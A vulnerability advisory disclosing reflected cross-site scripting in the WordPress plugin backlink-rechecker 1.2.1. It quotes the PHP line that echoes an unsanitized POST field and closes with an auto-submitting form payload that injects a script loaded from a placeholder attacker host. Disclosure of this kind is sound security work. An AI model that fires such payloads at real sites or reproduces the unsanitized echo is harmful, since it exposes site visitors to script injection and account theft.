Advisory #: 1241
Title: Reflected XSS in wordpress plugin backlink-rechecker v1.2.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
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Downloads: 5646
Vendor Notified: 2016-02-09
Export: Json
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Plugin Name: backlink-rechecker
There is a reflected XSS vulnerability in the following php code ./backlink-rechecker/rechecker_plus.php: 241: <input type="hidden" name="dont_recheck" id="dont_recheck" value="<? echo $_POST["dont_recheck"]; ?>" /> The variable dont_recheck appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from
  3. <form name=TheForm action=http://[target]/wp-content/plugins/backlink-rechecker/rechecker_plus.php method=post> <input type=hidden name=dont_recheck value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>